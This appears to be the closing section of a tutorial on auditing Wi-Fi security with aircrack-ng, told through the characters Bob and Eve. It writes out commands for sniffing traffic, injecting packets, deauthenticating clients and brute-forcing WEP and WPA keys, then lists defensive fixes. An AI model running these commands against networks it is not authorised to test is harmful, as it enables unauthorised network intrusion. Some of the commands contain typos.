```
$sudo apt-get install aircrack-ng
```

Usage

Capturing packets: The first step involves turning on the monitor mode of the interface in order to capture the packets required, i.e., to carry out sniffing. Airmon-ng is used for this task.

On the command line, type the following commands in the same sequence:

```
$Iwconfig: It lists all the active wifi interfaces.
$Airmon-ng stop ath0 (considering ath0 is an active wireless
interface)
$Airmon-ng start wifi0
```

Airodump scans for the active networks and captures the packets for further analysis. It also shows the MAC addresses of the access points and those of the systems/clients connected to each of them. This helps Bob to figure out and filter the unwanted systems and/or access points.

```
$airodump-ng -c X -w mycapture ath0
```

Here, X is the channel number of the access point.

The command above captures the various handshake packets that can be used for analysing the security of the network.

Aireplay-ng is used to administer some traffic into the network as passive sniffing involves a lot of time. This tool will inject fake authentication packets into the network to collect IVs in a short time span.

The command used is provided below:

```
$aireplay-ng -3 –b 'base station MAC address' –h 'client
Mac address' ath0
```

Airodump-ng is used here to make a note of the packets in a file called 'ACapture.cap'. Now, to crack the key, Aircrack-ng is used on the *.cap* file and the key is retrieved, as follows:

```
$aircrack-ng –z capture.cap
```

Airodump-ng is again used on the packets that are captured. *Deauth* packets are then injected using Aireplay:

```
$aireplay -0 8  –a [base station MAC] –c [client device MAC]
ath0
```

When the client reconnects, Airodump captures the handshake.

Again, Aircrack-ng is used to carry out a brute force attack, as follows:

```
$aircrack-ng -w passwordlist.txt -b [base station MAC]
capture.cap
```

…where *passwordlist.txt* is a dictionary of passphrases.

So, this is what Eve did to save Bob's network from mischief-makers:

- She updated Bob's password, which now comprises letters, numbers and special characters, while his network continued working over WPA2.
- She installed a firewall over the Wi-Fi router and turned on MAC address filtering.
- She assigned IP addresses to all the systems that were connected to the Wi-FI, thus preventing non-employees from getting into the network because they would never get an IP address assigned to them.

Bob was never troubled anymore. END

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